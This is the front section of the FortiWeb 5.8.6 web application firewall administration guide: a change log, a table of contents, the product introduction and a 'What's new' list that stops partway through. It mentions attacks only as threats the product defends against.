

WEB APPLICATION FIREWALL

FortiWeb Administration Guide

VERSION 5.8.6

FORTINET DOCUMENT LIBRARY

<http://docs.fortinet.com>

FORTINET VIDEO GUIDE

<http://video.fortinet.com>

FORTINET BLOG

<https://blog.fortinet.com>

CUSTOMER SERVICE & SUPPORT

<https://support.fortinet.com>

<http://cookbook.fortinet.com/how-to-work-with-fortinet-support/>

FORTIGATE COOKBOOK

<http://cookbook.fortinet.com>

FORTINET TRAINING SERVICES

<http://www.fortinet.com/training>

FORTIGUARD CENTER

<http://www.fortiguard.com>

END USER LICENSE AGREEMENT

<http://www.fortinet.com/doc/legal/EULA.pdf>

FEEDBACK

Email: techdocs@fortinet.com



March 3, 2017

FortiWeb 5.8.6 Administration Guide

2nd Edition

Change log

12/06/2017	Initial release.
03/02/2017	Corrected the operation modes that support the X-Forwarded-For : header. For details, see " Supported features in each operation mode " on page 102.

TABLE OF CONTENTS

Change log	3
Introduction	21
Benefits	21
Architecture	22
Scope	23
What's new	24
FortiWeb 5.8.6	24
XML protection	24
FortiWeb-VM Pay-as-You-Go on KVM	24
FortiWeb 5.8.5	24
FortiView	24
Dashboard update	24
Multiplexing support	25
CAPTCHA enforcement	25
Security Assertion Markup Language (SAML) support	25
FortiGuard Distribution Server (FDS) proxy	25
High Availability (HA) failover enhancement	25
HA Reserve Management Port enhancement	25
Configuration Synchronization enhancements	25
Track users via client certificates	26
HTTP protocol constraints log enhancement	26
Security templates for Exchange 2016 and SharePoint 2016	26
HTTP request timeout support	26
Device tracking & threat weight enhancement	26
IP Reputation enhancement - Tor exit nodes	26
Internal cookie enhancement	26
Base64 and CSS decoding support	27
Certificates enhancement	27
Certificate Revocation List (CRL) enhancement	27
Supported cipher suite changes	27
Attack Alert Email enhancement	27
Logs enhancement	27
Attack log enhancement	27
Signature exception enhancements	28
FortiWeb-VM enhancement	28
SNMP enhancement	28
CLI batch mode support	28
CLI log enhancement	28
FortiWeb 1000E	28
FortiWeb 5.8.3	28
Scanning attachments in ActiveSync and MAPI over HTTP applications	28
Seamless PKI integration	29
HA enhancements	29
HTTP public key pinning (HPKP)	29
Service Principal Name (SPN) wildcard delegation	29
Block specified file types for file uploads	30
Signature Creation Wizard	30

CRL group support	30
OCSP support for SSL & SNI configurations	30
CA Distinguished Name certificate support	30
Firewall support in TTP & TI mode	30
Log format update	30
Headers in Client Certificate Forwarding (CCF)	30
Uploading licenses	30
Attack log signature exceptions	31
Attack log reports	31
SQL injection web UI update	31
AV buffer increase	31
HTTP protocol constraint parameters	31
FortiWeb 5.8.2	31
FortiWeb 5.8.1	31
New FortiWeb platform	31
FortiAnalyzer support for HA clusters	32
VMware template support	32
Software RAID	32
FortiWeb load balancing	32
FortiWeb 5.8	32
GUI Change	32
Device Tracking	32
Threat Weight	32
Device Reputation Security Policy	33
OCSP Stapling	33
HTTP Header Security	33
Credential Stuffing Defense	33
Antivirus	33
Certificate	33
Active-Active HA	34
LDAP Server	34
Site Publish	34
Maximum Antivirus Buffer Size	34
Maximum Body Cache Size	34
VLAN	34
Logs	34
Log Email Policy	35
Signature Policy	35
RESTful API	35
LACP Support	35
XFF Client IP Support	35
VM License	35
VMware ESXi	35
FortiWeb 5.7.1	35
Syslog over TLS	35
FortiWeb 5.7	36
HTTP/2 Support	36
A new method to detect SQL Injection attacks	36
URL Rewriting	36
QRadar SIEM	36
Active-Active High Availability	36

Packet Capture	36
Scanner Integration	36
SSL/TLS Cipher Suits	37
HTTP Protocol Constraints	37
HTTP Constraint Exceptions	37
Attack/Traffic Logs	38
Site Publishing	38
Server Name Indication (SNI)	38
Certificates	38
Buffer size for parsing multipart/form-data requests	38
GEO IP	38
Custom Signature	39
Cookie Security	39
Network	39
FortiWeb 5.6 Patch 1	39
New FortiWeb platform	39
Logging	39
URL Rewriting	39
Policy Routing	39
Config-Synchronization	40
System Time	40
SSL	40
FortiWeb 5.6	40
New FortiWeb platform	40
Enhanced cookie security	40
Logging	40
Site Publishing	40
Integrated stateful firewall	41
FortiWeb Manager administrative access	41
Data capture using DPDK	41
Optional compression for alert emails	41
FortiWeb-VM	41
Microsoft Azure integration	41
KVM ttyS0 console support	41
FortiWeb 5.5 Patch 4	42
User tracking	42
JSON protocol detection	42
WebSocket HTTP protocol constraint	42
Check uploaded files for Trojans	42
Reverse Proxy: connect to back-end server using client IP	42
Custom rule filters	42
HTTP content routing policies can match X509 certificate extension field content	42
Token-based CSRF protection	43
Real Time Monitor widget enhancements	43
CLI commands	43
Deploy FortiWeb-VM on OpenStack	43
FortiWeb 5.5 Patch 3	43
New FortiWeb platforms	43
FortiSandbox Cloud support	43
HA support	44
Advanced SSL settings for server pool members	44

Increase file upload size to 100MB.....	44
Increase maximum number of IP addresses that Period Block can block.....	44
Web scanner integration.....	44
Column settings and filters.....	45
Use interface IP address for virtual server address.....	45
Support for more server pools.....	45
Hostname as Radius NAS Identifier.....	45
Maintainer user removed.....	45
HTTP Request Filename Length constraint.....	45
FortiWeb 5.5 Patch 2.....	45
V-zone member monitoring.....	45
Support for CRL services that require HTTP/1.1.....	45
HTTPS and SSL server health checks use TLS 1.0.....	46
Alert for log disk utilization.....	46
IPv6 support for SNMP communities.....	46
Configure network interfaces to support jumbo frames.....	46
FortiWeb 5.5 Patch 1.....	46
Signatures.....	46
Server pools.....	47
WCCP traffic redirection using Layer 2.....	47
Qualys WAS integration.....	47
Increase file upload size to 30 MB.....	47
CLI command to disable maintainer account.....	47
FortiWeb 400D.....	47
FortiWeb-VM.....	47
FortiWeb 5.5.....	48
Server load balancing.....	48
Site publishing.....	48
Signatures.....	48
FortiGate integration.....	49
IBM Security AppScan, WhiteHat Sentinel, and HP WebInspect integration.....	49
Web Anti-Defacement.....	49
Automatic support for HTTP pipelining.....	50
HTTP protocol constraints.....	50
HA synchronization uses unicast.....	50
Cipher suites.....	50
Status and Policy Status dashboards.....	50
Network interfaces user interface.....	50
SNMP version 3 support.....	51
Microsoft Azure support.....	51
Predefined, optimized protection profile for Drupa.....	51
Period block for Transparent Inspection and Offline Protection mode.....	51
Message ID in Attack Block page.....	51
Full URL in attack and traffic log messages.....	51
Send reports to FTP/TFTP server.....	51
Display update daemon information.....	51
HSM integration – SafeNet Luna SA.....	51
FortiWeb 5.4.....	52
New FortiWeb platforms.....	52
FortiSandbox integration.....	52
FortiWeb Manager.....	52

RESTful API support	52
Assign priority to policy routes	52
Additional cipher suites for offline and Transparent Inspection modes	52
Server health check for a specific host	52
Backup server for pools	53
HTTP content routing policies can inherit web protection profiles	53
Send log messages to multiple Syslog servers	53
Regular expression for site publishing logoff URL	53
Block sources using IP Reputation and X-Forwarded-For value	53
FortiWeb-VM on KVM (Kernel Virtual Machine)	53
Key concepts	54
Workflow	54
Sequence of scans	56
IPv6 support	60
Solutions for specific web attacks	62
HTTP/HTTPS threats	62
DoS attacks	67
HTTP/2 support	69
HTTP sessions & security	70
FortiWeb sessions vs. web application sessions	72
Sessions & FortiWeb HA	74
Example: Magento & FortiWeb sessions during failover	75
HA heartbeat & synchronization	76
Data that is not synchronized by HA	77
Configuration settings that are not synchronized by HA	78
How HA chooses the active appliance	79
Heartbeat packet Ethertypes	80
Administrative domains (ADOMs)	81
Defining ADOMs	82
Assigning administrators to an ADOM	84
How to use the web UI	84
System requirements	84
URL for access	85
Permissions	85
Trusted hosts	88
Maximum concurrent administrator sessions	89
Global web UI & CLI settings	89
Buttons, menus, & the displays	92
Deleting entries	94
Renaming entries	94
Shutdown	95
How to set up your FortiWeb	97
Appliance vs. VMware	97
Registering your FortiWeb	97

Planning the network topology.....	97
External load balancers: before or after?.....	98
How to choose the operation mode.....	101
Supported features in each operation mode.....	102
Matching topology with operation mode & HA mode.....	104
Topology for Reverse Proxy mode.....	104
Topology for either of the transparent modes.....	106
Topology for Offline Protection mode.....	108
Topology for WCCP mode.....	109
Topologies for high availability (HA) clustering.....	110
Connecting to the web UI or CLI.....	114
Connecting to the web UI.....	114
Connecting to the CLI.....	116
Updating the firmware.....	120
Testing new firmware before installing it.....	120
Installing firmware.....	122
Updating firmware on an HA pair.....	126
Installing alternate firmware.....	127
Bootting from the alternate partition.....	130
Changing the “admin” account password.....	132
Setting the system time & date.....	133
Setting the operation mode.....	135
Configuring a high availability (HA) FortiWeb cluster.....	137
Full mesh HA.....	140
Load-balancing in Active-active HA.....	141
Fail-over in Active-active HA.....	142
Session synchronization in Active-active HA.....	142
Replicating the configuration without FortiWeb HA (external HA).....	149
Configuring FortiWeb to receive traffic via WCCP.....	153
Configuring the FortiWeb WCCP client settings.....	153
Viewing WCCP protocol information.....	155
Example: Using WCCP with FortiOS 5.2.x.....	156
Example: Using WCCP with FortiOS 5.4.....	158
Example: Using WCCP with multiple FortiWeb appliances.....	158
Example: Using WCCP with a Cisco router.....	160
Configuring the network settings.....	162
To configure a network interface or bridge.....	162
Configuring the network interfaces.....	164
Configuring a bridge (V-zone).....	171
Link aggregation.....	174
Configuring redundant interfaces.....	176
Adding a gateway.....	178
Creating a policy route.....	182
Notice for using policy route in an one-arm topology.....	183
Fixing asymmetric routing problems with policy-based routing.....	183

Configuring DNS settings.....	185
Connecting to FortiGuard services.....	187
Choosing the virus signature database & decompression buffer.....	190
Accessing FortiGuard via a proxy.....	191
How often does Fortinet provide FortiGuard updates for FortiWeb?.....	193
Scheduling automatic signature updates.....	194
Manually initiating update requests.....	196
Uploading signature & geography-to-IP updates.....	197
Receive quarantined source IP addresses from FortiGate.....	198
Configuring basic policies.....	198
Example 1: Configuring a policy for HTTP via auto-learning.....	199
Example 2: Configuring a policy for HTTPS.....	200
Example 3: Configuring a policy for load balancing.....	200
Auto-learning.....	202
How to adapt auto-learning to dynamic URLs & unusual parameters.....	202
Configuring URL interpreters.....	204
Grouping URL interpreters.....	215
Recognizing data types.....	216
Predefined data types.....	216
Grouping predefined data types.....	220
Recognizing suspicious requests.....	221
Predefined suspicious request URLs.....	221
Configuring custom suspicious request URLs.....	222
Grouping custom suspicious request URLs.....	223
Grouping all suspicious request URLs.....	224
Configuring an auto-learning profile.....	225
Running auto-learning.....	227
Pausing auto-learning for a URL.....	228
Viewing auto-learning reports.....	229
Using the report navigation pane.....	230
Using the report display pane.....	231
Generating a profile from auto-learning data.....	242
Transitioning out of the auto-learning phase.....	246
Removing old auto-learning data.....	246
Generate protection profiles using a scanner report.....	247
WhiteHat Sentinel scanner report requirements.....	248
Telefónica FFAST scanner report requirements.....	249
HP WebInspect scanner report requirements.....	250
Testing your installation.....	252
Reducing false positives.....	253
Testing for vulnerabilities & exposure.....	254
Expanding the initial configuration.....	254
Switching out of Offline Protection mode.....	255
Policies.....	257

How operation mode affects server policy behavior.....	257
Configuring the global object white list.....	258
Configuring a protection profile for inline topologies.....	261
Configuring a protection profile for an out-of-band topology or asynchronous mode of operation.....	270
Configuring a server policy.....	277
HTTP pipelining.....	289
Multiplexing client connections.....	291
Enabling or disabling a policy.....	291
FortiView.....	292
Interface.....	293
Navigating FortiView.....	293
View Types.....	296
Topology.....	300
Single Server/Server Pool.....	300
Content Routing.....	302
Security.....	305
Countries.....	305
Threats.....	308
Threat Map.....	311
Scanner Integration.....	312
Traffic.....	315
Sources.....	315
Countries.....	317
Sessions.....	319
Sources.....	319
Policies.....	321
Ending sessions.....	322
Backups.....	324
Restoring a previous configuration.....	328
Administrators.....	330
Configuring access profiles.....	333
Grouping remote authentication queries and certificates for administrators.....	335
Changing an administrator's password.....	336
Certificate-based Web UI login.....	337
Users.....	340
Authentication styles.....	340
Via the "Authorization:" header in the HTTP/HTTPS protocol.....	340
Via forms embedded in the HTML.....	341
Via a personal certificate.....	343
Offloading HTTP authentication & authorization.....	343
Configuring local end-user accounts.....	345

Configuring queries for remote end-user accounts.....	346
Configuring an LDAP server.....	346
Configuring a RADIUS server.....	351
Configuring an NTLM server.....	353
Configuring a Kerberos Key Distribution Center (KDC) server.....	353
Configuring a Security Assertion Markup Language (SAML) server.....	354
Adding servers to an authentication server pool.....	355
Grouping users.....	356
Applying user groups to an authorization realm.....	357
Grouping authorization rules.....	359
Single sign-on (SSO) (site publishing).....	361
Two-factor authentication.....	362
RSA SecurID authentication.....	363
Changing user passwords at login.....	363
Using Kerberos authentication delegation.....	364
Types of Kerberos authentication delegation.....	364
Configuring Windows Authentication for Kerberos authentication delegation.....	364
Configuring Service Principal Names for Kerberos authentication.....	365
Offloaded authentication and optional SSO configuration.....	367
To create an Active Directory (AD) user for FortiWeb.....	375
Example: Enforcing complex passwords.....	381
Tracking users.....	382
Defining your web servers & load balancers.....	387
Protected web servers vs. allowed/protected host names.....	387
Defining your protected/allowed HTTP “Host:” header names.....	388
Defining your web servers.....	390
Configuring server up/down checks.....	390
Configuring session persistence.....	394
Configuring server-side SNI support.....	397
Creating a server pool.....	397
Routing based on HTTP content.....	408
Example: Routing according to URL/path.....	418
Example: Routing according to the HTTP “Host:” field.....	418
Example: HTTP routing with full URL & host name rewriting.....	419
Defining your proxies, clients, & X-headers.....	421
Indicating the original client’s IP to back-end web servers.....	422
Indicating to back-end web servers that the client’s request was HTTPS.....	423
Blocking the attacker’s IP, not your load balancer.....	423
Configuring virtual servers on your FortiWeb.....	425
Defining your network services.....	427
Defining custom services.....	428
Predefined services.....	428
Enabling or disabling traffic forwarding to your servers.....	429
Secure connections (SSL/TLS).....	430
Offloading vs. inspection.....	430

Supported cipher suites & protocol versions	432
SSL offloading cipher suites and protocols (Reverse Proxy and True Transparent Proxy).....	432
Selecting the supported cipher suites using the advanced SSL settings	433
SSL inspection cipher suites and protocols (offline and Transparent Inspection).....	436
Uploading trusted CA certificates	437
Grouping trusted CA certificates	438
How to offload or inspect HTTPS.....	439
Using session keys provided by an HSM.....	441
Generating a certificate signing request	443
Uploading a server certificate.....	446
Supplementing a server certificate with its signing chain.....	448
Allowing FortiWeb to support multiple server certificates.....	450
Forcing clients to use HTTPS.....	452
HTTP Public Key Pinning.....	452
How to apply PKI client authentication (personal certificates).....	454
Example: Generating & downloading a personal certificate from Microsoft Windows 2003 Server.....	459
Example: Downloading the CA's certificate from Microsoft Windows 2003 Server.....	461
Example: Importing the personal certificate & private key to a client's trust store on Microsoft Windows 7.....	462
Uploading the CA's certificate to FortiWeb's trusted CA store.....	464
Configuring FortiWeb to validate client certificates.....	464
Use URLs to determine whether a client is required to present a certificate.....	466
Seamless PKI integration.....	467
Revoking certificates.....	471
How to export/back up certificates & private keys.....	472
How to change FortiWeb's default certificate.....	472
Configuring OCSP stapling.....	473
Access control.....	475
Restricting access to specific URLs.....	475
Combination access control & rate limiting.....	480
Blacklisting & whitelisting clients.....	484
Blacklisting source IPs with poor reputation.....	485
Blacklisting & whitelisting countries & regions.....	488
Blacklisting & whitelisting clients using a source IP or source IP range.....	490
Blacklisting content scrapers, search engines, web crawlers, & other robots.....	492
Blocking client devices with poor reputation.....	493
How device reputation works.....	493
Configuring device tracking & device reputation security policies.....	494
Example configuration and resulting behavior of a device reputation security policy.....	498
Protecting against cookie poisoning and other cookie-based attacks.....	501
Blocking known attacks & data leaks.....	505

False Positive Mitigation for SQL Injection signatures.....	515
Enable False Positive Mitigation for SQL Injection and SQL Injection (Extended).....	515
Syntax-based SQL injection detection.....	516
How syntax-based SQL injection detection works.....	516
Built-in SQL statement templates.....	517
SQL injection types.....	517
Enable Syntax Based SQL Injection detection.....	519
Configuring action overrides or exceptions to data leak & attack detection signatures.....	519
Example: Concatenating exceptions.....	524
Filtering signatures.....	524
Defining custom data leak & attack signatures.....	525
Example: ASP .Net version & other multiple server detail leaks.....	529
Example: Zero-day XSS.....	530
Example: Local file inclusion fingerprinting via Joomla.....	533
Defeating cipher padding attacks on individually encrypted inputs.....	534
Defeating cross-site request forgery (CSRF) attacks.....	538
Addressing security vulnerabilities by HTTP Security Headers.....	542
Enforcing page order that follows application logic.....	544
Specifying URLs allowed to initiate sessions.....	548
Preventing zero-day attacks.....	553
Validating parameters ("input rules").....	553
Bulk changes to input validation rules.....	559
Defining custom data types.....	559
Preventing tampering with hidden inputs.....	560
Specifying allowed HTTP methods.....	564
Configuring allowed method exceptions.....	566
HTTP/HTTPS protocol constraints.....	568
Configuring HTTP protocol constraint exceptions.....	577
Configuring XML protection.....	582
Importing XML schema files.....	582
Creating XML protection rules.....	583
Creating XML protection policies.....	587
Configuring attack logs to retain packet payloads for XML protection.....	588
Limiting file uploads.....	590
Restricting uploads by file type and size.....	590
Using FortiSandbox to evaluate uploaded files.....	590
Anti-defacement.....	597
Specifying files that anti-defacement does not monitor.....	601
Accepting or reverting changed files.....	602
Reverting a defaced website.....	603
Rate limiting.....	604
DoS prevention.....	604
Configuring application-layer DoS protection.....	604

Limiting the total HTTP request rate from an IP.....	605
Limiting TCP connections per IP address by session cookie.....	609
Preventing an HTTP request flood.....	611
Configuring network-layer DoS protection.....	615
Limiting TCP connections per IP address.....	615
Preventing a TCP SYN flood.....	617
Grouping DoS protection rules.....	618
Preventing brute force logins.....	619
Rewriting & redirecting.....	622
Example: HTTP-to-HTTPS redirect.....	628
Example: Full host name/URL translation.....	631
Example: Sanitizing poisoned HTML.....	633
Example: Inserting & deleting body text.....	636
Example: Rewriting URLs using regular expressions.....	637
Example: Rewriting URLs using variables.....	637
Caching.....	639
What can be cached?.....	642
Compression & decompression.....	644
Configuring compression/decompression exemptions.....	644
Configuring compression offloading.....	645
Configuring temporary decompression for scanning & rewriting.....	647
Compliance.....	649
Database security.....	649
Authorization.....	650
Preventing data leaks.....	650
Vulnerability scans.....	650
Preparing for the vulnerability scan.....	651
Live websites.....	651
Network accessibility.....	651
Traffic load & scheduling.....	651
Scheduling web vulnerability scans.....	652
Configuring vulnerability scan settings.....	653
Running vulnerability scans.....	657
Manually starting & stopping a vulnerability scan.....	659
Viewing vulnerability scan reports.....	660
Downloading vulnerability scan reports.....	661
Advanced/optional system settings.....	662
Changing the FortiWeb appliance's host name.....	662
Fail-to-wire for power loss/reboots.....	663
Customizing error and authentication pages (replacement messages).....	664
Attack block page HTTP response codes.....	664
Macros in custom error and authentication pages.....	664
Image macros.....	666

Customize the message returned for LDAP errors (%%REPLY_TAG%% macro).....	666
Configure the integrated firewall.....	667
Advanced settings.....	670
Example: Setting a separate rate limit for shared Internet connections.....	672
Monitoring your system.....	674
Status dashboard.....	674
System Information widget.....	676
FortiGuard Information widget.....	678
System Resources widget.....	681
Attack Log widget.....	682
HTTP Throughput Monitor widget.....	683
HTTP Hit History widget.....	683
Attack Event History widget.....	684
Event Log Console widget.....	686
Policy Sessions widget.....	687
Operation widget.....	688
Policy Status dashboard.....	688
Health Check Status.....	689
Session Count.....	689
RAID level & disk statuses.....	690
Logging.....	690
About logs & logging.....	691
Log types.....	691
Log severity levels.....	692
Log rate limits.....	692
Configuring logging.....	693
Enabling log types, packet payload retention, & resource shortage alerts.....	693
Configuring log destinations.....	695
Obscuring sensitive data in the logs.....	699
Configuring Syslog settings.....	700
Configuring FortiAnalyzer policies.....	701
Configuring SIEM policies.....	703
Configuring FTP/TFTP policies.....	704
Configuring triggers.....	705
Viewing log messages.....	706
Viewing a single log message as a table.....	708
Viewing packet payloads.....	708
Downloading log messages.....	709
Deleting log files.....	710
Coalescing similar attack log messages.....	711
Alert email.....	712
Configuring email settings.....	712
Configuring alert email for event logs.....	714
SNMP traps & queries.....	715
Configuring an SNMP community.....	716

MIB support	719
Reports	720
Customizing the report's headers, footers, & logo	722
Restricting the report's scope	723
Choosing the type & format of a report profile	725
Scheduling reports	727
Selecting the report's file type & delivery options	727
Viewing & downloading generated reports	729
Data analytics	730
Configuring policies to gather data	730
Updating data analytics definitions	731
Viewing website statistics	731
Bot analysis	735
Monitoring currently blocked IPs	735
Monitoring currently tracked devices	736
FortiGuard updates	737
Vulnerability scans	738
Fine-tuning & best practices	739
Hardening security	739
Topology	739
Administrator access	740
User access	743
Signatures & patches	744
Buffer hardening	744
Enforcing valid, applicable HTTP	746
Sanitizing HTML application inputs	746
Improving performance	746
System performance	746
Antivirus performance	747
Regular expression performance tips	747
Logging performance	749
Report performance	749
Auto-learning performance	749
Vulnerability scan performance	750
Packet capture performance	750
TCP transmission performance tuning	750
Improving fault tolerance	751
Alerting the SNMP manager when HA switches the primary appliance	751
Reducing false positives	751
Regular backups	755
Downloading logs in RAM before shutdown or reboot	755
Downloading logs in RAM before shutdown or reboot	755
Troubleshooting	756

Frequently asked questions	756
Administration	756
FortiGuard	756
Access control and rewriting	756
Logging and packet capture	757
Security	757
Performance	757
IPMI (FortiWeb 3000E and 4000E only)	757
Upgrade	757
How do I recover the password of the admin account?	757
What is the maximum number of ADOMs I can create?	757
How do I upload and validate a license for FortiWeb-VM?	758
How do I troubleshoot a high availability (HA) problem?	759
How do I upload a file to or download a file from FortiWeb?	761
Why did the FortiGuard service update fail?	762
Why is URL rewriting not working?	762
How do I create a custom signature that erases response packet content?	763
How do I reduce false positives and false negatives?	764
Why is FortiWeb not forwarding non-HTTP traffic (for example, RDP, FTP) to back-end servers even though set ip-forward is enabled?	765
How do I prevent cross-site request forgery (CSRF or XSRF) with a custom rule?	765
Why does my Advanced Protection rule that has both Signature Violation and HTTP Response Code filters not detect any violations?	766
What's the difference between the Packet Interval Timeout and Transaction Timeout filters in an Advanced Protection rule?	766
What ID numbers do I use to specify a Signature Violation filter when I use the CLI to create a custom access rule?	767
Why is the Signature Violation filter I added to my Advanced Protection custom rule not working?	768
Why don't my back-end servers receive the virtual server IP address as the source IP?	768
Why do I not see HTTP traffic in the logs?	768
Why do I see HTTP traffic in the logs but not HTTPS traffic?	771
How do I store traffic log messages on the appliance hard disk?	771
Why is the most recent log message not displayed in the Aggregated Attack log?	772
How can I sniff FortiWeb packets (packet capture)?	773
How do I trace packet flow in FortiWeb?	773
Why is the number of cookies reported in my attack log message different from the number of cookies that message detail displays?	774
Why does the attack log message display the virtual server IP address as the destination IP instead of the IP address of the back-end server that was the target of the attack?	775
How do I detect which cipher suite is used for HTTPS connections?	775
How can I strengthen my SSL configuration?	775
Why can't a browser connect securely to my back-end server?	775
How do I use performance tests to determine maximum performance?	776

How can I measure the memory usage of individual processes?.....	776
How can I use IPMI to shut down or power on FortiWeb remotely?.....	777
How do I reformat the boot device (flash drive) when I restore or upgrade the firmware?.....	777
How do I set up RAID for a replacement hard disk?.....	778
Tools.....	778
Ping & traceroute.....	779
Log messages.....	780
Diff.....	780
Packet capture.....	780
Packet capture via CLI command.....	781
Packet capture via Web UI.....	785
Diagnostic commands in the CLI.....	786
Retrieving kernel or daemon logs.....	786
How to troubleshoot.....	787
Establishing a system baseline.....	787
Determining the source of the problem.....	787
Planning & access privileges.....	788
Solutions by issue type.....	788
Connectivity issues.....	789
Checking hardware connections.....	789
Examining the ARP table.....	790
Checking routing.....	790
Examining the routing table.....	798
Checking port assignments.....	799
Performing a packet trace.....	799
Debugging the packet processing flow.....	799
Checking the SSL/TLS handshake & encryption.....	800
Resource issues.....	801
Killing system-intensive processes.....	801
Monitoring traffic load.....	801
Preparing for attacks.....	802
Login issues.....	802
Checking user authentication policies.....	802
When an administrator account cannot log in from a specific IP.....	803
Remote authentication query failures.....	803
Resetting passwords.....	803
Data storage issues.....	805
Bootup issues.....	805
Hard disk corruption or failure.....	806
Power supply failure.....	807
Issues forwarding non-HTTP/HTTPS traffic.....	809
Resetting the configuration.....	809
Restoring firmware ("clean install").....	810
Appendix A: Port numbers.....	814
Appendix B: Maximum configuration values.....	817

Maximum ADOMs, policies and server pools (per appliance).....	817
Per appliance configuration maximums.....	818
Per ADOM configuration maximums.....	819
Maximum values on FortiWeb-VM.....	824
Data analytics maximums.....	824
Maximum storage and queries for data analytics.....	824
Appendix C: Supported RFCs, W3C, & IEEE standards.....	826
RFCs.....	826
RFC 792.....	826
RFC 1213.....	826
RFC 2548.....	826
RFC 2616.....	826
RFC 2617.....	826
RFC 2665.....	826
RFC 2965.....	827
RFC 4918.....	827
RFC 5280.....	827
RFC 6176.....	827
W3C standards.....	827
Extensible markup language (XML) 1.0 (Third Edition).....	827
XML Current Status.....	827
IEEE standards.....	827
Std 802.1D.....	827
Std 802.1Q.....	828
Appendix D: Regular expressions.....	829
Regular expression syntax.....	829
Popular FortiWeb regular expression syntax.....	830
What are back-references?.....	835
Cookbook regular expressions.....	836
Language support.....	838
Appendix E: How to purchase and renew FortiGuard licenses.....	840

Introduction

FortiWeb is a web application firewall (WAF) that protects hosted web applications from attacks that target known and unknown exploits. Using multi-layered and correlated detection methods, FortiWeb defends applications from known vulnerabilities and zero-day threats. FortiWeb allows you to configure these features:

- Vulnerability scanning and patching
- IP reputation, web application attack signatures, credential stuffing defense, anti-virus, and FortiSandbox Cloud powered by FortiGuard
- Real-time attack insights and reporting with advanced visual analytics tools
- Integration with FortiGate and FortiSandbox for ATP detection
- Behavioral attack detection
- Advanced false positive and negative detection avoidance

FortiWeb hardware and virtual machine platforms are available for medium and large enterprises, as well as for service providers.

Benefits

FortiWeb is designed specifically to protect web servers. It provides specialized application layer threat detection and protection for HTTP and HTTPS services, including:

- Apache Tomcat
- nginx
- Microsoft IIS
- JBoss
- IBM Lotus Domino
- Microsoft SharePoint
- Microsoft Outlook Web App (OWA)
- RPC and ActiveSync for Microsoft Exchange Server
- Joomla
- WordPress

FortiWeb's integrated web-specific vulnerability scanner drastically reduces challenges associated with protecting regulated and confidential data by detecting your exposure to the latest threats, especially the OWASP Top 10 (https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project).

FortiWeb's HTTP firewall and denial-of-service (DoS) attack-prevention protects your web applications from attack. Using advanced techniques to provide bidirectional protection against sophisticated threats like SQL injection and cross-site scripting (XSS) attacks, FortiWeb also helps you defend against threats like identity theft, financial fraud, and corporate espionage.

FortiWeb provides the tools you need to monitor and enforce government regulations, industry best practices, and internal security policies, including firewalling and patching requirements from PCI DSS (https://www.pcisecuritystandards.org/security_standards/getting_started.php).

FortiWeb's application-aware firewall and load balancing engine can:


- Secure HTTP/HTTPS applications.
- Prevent and reverse defacement.
- Improve application stability.
- Monitor servers for downtime & connection load.
- Reduces response times.
- Accelerate SSL/TLS.*
- Accelerate compression/decompression.
- Rewrite content on the fly.

* On VM models, acceleration is due to offloading the cryptography burden from the back-end server. On hardware models, cryptography is also hardware-accelerated via ASIC chips.

FortiWeb significantly reduces deployment costs by consolidating WAF, hardware acceleration, load balancing, and vulnerability scanning in a single platform with no per-user pricing. These features:

- Reduce the total resources required to protect your regulated, Internet-facing data.
- Ease the challenges associated with policy enforcement and regulatory compliance.

Architecture



FortiWeb can be deployed in a one-arm topology, but is more commonly positioned inline to intercept all incoming client connections and redistribute them to your servers. FortiWeb has TCP- and HTTP-specific firewalling capabilities. Because it's not designed to provide security to non-HTTP/HTTPS web applications, it should be deployed behind a firewall such as FortiGate that focuses on security for other protocols, including FTP and SSH.

Once FortiWeb is deployed, you can configure it from a web browser or terminal emulator on your management computer.

Scope

This document describes how to set up and configure FortiWeb. It provides instructions to complete first-time system deployment, including planning the network topology, and ongoing maintenance.

It also describes how to use the web user interface (web UI), and contains lists of default utilized port numbers, configuration limits, and supported standards.

If you are using FortiWeb-VM, this document assume that you have already followed the instructions in the *FortiWeb-VM Install Guide*:

<http://docs.fortinet.com/fortiweb/hardware>

After completing "How to set up your FortiWeb" on page 97, you will have:

- Administrative access to the web UI and/or CLI.
- Completed firmware updates, if any.
- Configured the system time, DNS settings, administrator password, and network interfaces will be configured.
- Set the operation mode.
- Configured basic logging.
- Created at least one server policy.
- Completed at least one phase of auto-learning to jump-start your configuration.

You can use the rest of this document to:

- Update the FortiWeb appliance.
- Reconfigure features.
- Use advanced features, such as anti-defacement.
- Diagnose problems.

This document does **not** provide a reference for the CLI. For that information, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

This document is intended for system administrators, not end users. If you are accessing a website protected by FortiWeb and have questions, please contact your system administrator.

What's new

The list below contains new or changed features in FortiWeb 5.4 and later. For upgrade information, "[Updating the firmware](#)" on page 120 and refer to the Release Notes:

<http://docs.fortinet.com/fortiweb/release-information>

FortiWeb 5.8.6

XML protection

You can configure an XML Protection Policy so that FortiWeb will:

- Enforce customizable rules for acceptable XML content in HTTP requests, including limits for names, values, depth, and other attributes
- Prevent forbidden XML entities from making requests

Optionally, upload XML schema files to describe the acceptable structure of an XML document that FortiWeb can use to enforce XML Protection Policies.

XML Protection Policies are enforced by selecting them in an active Web Protection Profile.

For details, see "[Configuring XML protection](#)" on page 582.

FortiWeb-VM Pay-as-You-Go on KVM

A Pay-as-You-Go FortiWeb-VM platform now runs on KVM.

FortiWeb 5.8.5

FortiView

FortiWeb now includes a suite of graphical analysis tools called FortiView. Similar to other Fortinet products such as FortiGate, FortiWeb gives administrators the ability to visualize and drill down into key elements of FortiWeb, including server/IP configurations, attack and traffic logs, attack maps, and user activity.

See "[FortiView](#)" on page 292.

Dashboard update

The Attack Event History, HTTP Throughput Monitor, and HTTP Hit History have been separated into their own widgets on the dashboard. In addition, the Attack Event History widget now provides information about Threat Weight, and you can also view more information about each attack category, including the server policy, client IP address, and time of specific attacks.

See "[Status dashboard](#)" on page 674.

Multiplexing support

Enable FortiWeb to use a single connection to a server for requests from multiple clients. When FortiWeb first receives a request from a client, it will establish a connection with the server to fulfill that request. FortiWeb will then cache the connection so that other clients can reuse the connection later.

See ["Multiplexing client connections"](#) on page 291.

CAPTCHA enforcement

Enable FortiWeb to require clients to successfully fulfill a CAPTCHA request to establish a connection with the server. CAPTCHA enforcement can prevent bot attacks, including DoS attacks and spam.

See ["Combination access control & rate limiting"](#) on page 480 and ["DoS prevention"](#) on page 604.

Security Assertion Markup Language (SAML) support

